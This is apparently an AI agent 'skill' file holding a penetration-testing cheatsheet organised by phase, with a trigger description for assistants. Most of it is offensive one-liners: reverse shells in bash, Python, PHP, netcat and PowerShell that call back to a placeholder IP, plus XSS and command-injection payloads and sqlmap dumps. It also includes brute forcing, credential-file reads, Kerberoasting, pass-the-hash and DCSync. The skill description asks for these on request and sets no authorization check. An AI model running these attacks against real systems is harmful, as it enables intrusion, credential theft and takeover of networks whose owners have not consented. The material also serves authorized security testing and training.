pentest-cheatsheet

name	pentest-cheatsheet
description	Quick reference cheatsheet for penetration testing commands, techniques, and one-liners organized by phase and tool. Use this skill whenever the user asks for a cheatsheet, quick reference, one-liner, command syntax, "how do I use nmap/sqlmap/hashcat", "give me the command for", pentesting shortcuts, reverse shell one-liners, nmap flags, sqlmap syntax, hashcat modes, hydra syntax, ffuf usage, nuclei commands, or any request for a quick pentest command reference. Also trigger for: "remind me how to", "what's the flag for", "cheatsheet for", "quick reference", or when a user needs a specific command during an active engagement without wanting a full skill execution. This is a REFERENCE skill — it provides commands, not execution.
compatibility	{"tools":["bash"],"skills":["recon-osint","vuln-analysis","exploit-dev","post-exploit","credential-attack","web-app-security","active-directory"]}

Pentest Cheatsheet — Quick Reference

Recon

nmap

nmap -sV -sC -oA scan TARGET            # Standard service + default scripts
nmap -sV -p- -T4 TARGET                 # All ports, service detection
nmap -sU --top-ports 20 TARGET          # UDP top 20
nmap -sn 10.0.0.0/24                    # Host discovery (ping sweep)
nmap --script vuln TARGET               # Vulnerability scripts
nmap --script ssl-enum-ciphers -p 443 T # SSL audit
nmap -sV --script=banner TARGET         # Banner grab

Subdomain Enumeration

subfinder -d DOMAIN -silent             # Passive subdomain enum
amass enum -d DOMAIN -o subs.txt        # Active + passive
theHarvester -d DOMAIN -b all           # Emails + subdomains

DNS

dig DOMAIN ANY +noall +answer           # All DNS records
dig DOMAIN -t AXFR @NS                  # Zone transfer attempt
dnsrecon -d DOMAIN -t std               # Standard DNS recon

Web Fingerprinting

whatweb TARGET                           # Technology detection
curl -sI TARGET                          # HTTP headers
wafw00f TARGET                           # WAF detection

Web Application

Directory Brute Force

ffuf -u URL/FUZZ -w WORDLIST -mc 200,301,302,403
gobuster dir -u URL -w WORDLIST -t 50
dirb URL WORDLIST
feroxbuster -u URL -w WORDLIST --depth 3

SQL Injection

sqlmap -u "URL?param=1" --batch --dbs             # Enumerate databases
sqlmap -u "URL?param=1" --batch -D db -T tbl --dump  # Dump table
sqlmap -u URL --data="user=a&pass=b" --batch      # POST params
sqlmap -u URL --cookie="sess=x" --batch           # With cookie
sqlmap -u URL --os-shell                           # OS shell (if RCE)

XSS

# Reflected test payloads
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
javascript:alert(1)
{{7*7}}                                  # SSTI test
${7*7}                                   # Template injection

Command Injection

commix -u "URL?param=test" --batch       # Auto-detect
; whoami                                  # Semicolon injection
| whoami                                  # Pipe injection
$(whoami)                                 # Subshell
`whoami`                                  # Backtick

Exploitation

searchsploit

searchsploit PRODUCT VERSION             # Search ExploitDB
searchsploit -m EDBID                    # Mirror exploit locally
searchsploit --json QUERY                # JSON output

Metasploit Quick Reference

msfconsole -q                            # Quiet start
search CVE-XXXX                          # Find module
use exploit/path/module                  # Load module
show options                             # See required params
set RHOSTS TARGET                        # Set target
set LHOST ATTACKER_IP                    # Set listener
exploit                                  # Run
sessions -l                              # List sessions
sessions -i 1                            # Interact with session 1

Reverse Shells

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),i)for i in(0,1,2)];pty.spawn("/bin/bash")'

# PHP
php -r '$s=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'

# Netcat (traditional)
nc -e /bin/bash IP PORT

# Netcat (no -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"

Shell Upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Post-Exploitation

Linux Privesc

id && whoami && hostname && uname -a     # Situational awareness
sudo -l                                  # Sudo permissions
find / -perm -4000 2>/dev/null           # SUID binaries
find / -writable -type f 2>/dev/null     # Writable files
cat /etc/crontab && ls -la /etc/cron.*   # Cron jobs
getcap -r / 2>/dev/null                  # Linux capabilities
cat /etc/passwd                          # User list
ls -la /home/*/.ssh/                     # SSH keys
env                                      # Environment variables

Windows Privesc

whoami /all                              # User + privileges
systeminfo                               # OS info
net user                                 # User list
net localgroup administrators            # Admin group
wmic service get name,pathname | findstr /i "auto" | findstr /i /v "C:\Windows"  # Unquoted paths
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Credential Attacks

Hash Identification

hashid 'HASH'                            # Identify hash type
haiti 'HASH'                             # Alternative

hashcat Modes (common)

hashcat -m 0     MD5
hashcat -m 100   SHA1
hashcat -m 1400  SHA256
hashcat -m 1000  NTLM
hashcat -m 3200  bcrypt
hashcat -m 5600  NetNTLMv2
hashcat -m 13100 Kerberos TGS (Kerberoast)
hashcat -m 18200 Kerberos AS-REP
hashcat -m 22000 WPA-PBKDF2-PMKID+EAPOL

hashcat Attacks

hashcat -m MODE HASH WORDLIST                          # Dictionary
hashcat -m MODE HASH WORDLIST -r rules/best64.rule     # Dictionary+rules
hashcat -m MODE HASH -a 3 '?u?l?l?l?l?d?d'            # Mask (brute force)

hydra (Online Brute Force)

hydra -L users.txt -P pass.txt ssh://TARGET -t 4
hydra -L users.txt -P pass.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=fail"
hydra -L users.txt -P pass.txt ftp://TARGET

Active Directory

Enumeration

bloodhound-python -d DOMAIN -u USER -p PASS -ns DC_IP -c all --zip
crackmapexec smb DC_IP -u USER -p PASS --users
crackmapexec smb DC_IP -u USER -p PASS --shares
enum4linux-ng -A DC_IP

Kerberos

kerbrute userenum --dc DC_IP -d DOMAIN users.txt
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request    # Kerberoast
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt   # AS-REP

Lateral Movement

impacket-psexec DOMAIN/USER:PASS@TARGET
impacket-wmiexec DOMAIN/USER:PASS@TARGET
impacket-psexec DOMAIN/USER@TARGET -hashes :NTLM               # PtH
evil-winrm -i TARGET -u USER -H NTLM                            # PtH WinRM

Domain Takeover

impacket-secretsdump DOMAIN/USER:PASS@DC_IP -just-dc-ntlm      # DCSync
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable   # ADCS

Useful Wordlists

/usr/share/wordlists/rockyou.txt                    # Passwords (14M)
/usr/share/wordlists/dirb/common.txt                # Web dirs (4.6K)
/usr/share/seclists/Discovery/Web-Content/           # Web content
/usr/share/seclists/Passwords/                       # Password lists
/usr/share/seclists/Usernames/                       # Username lists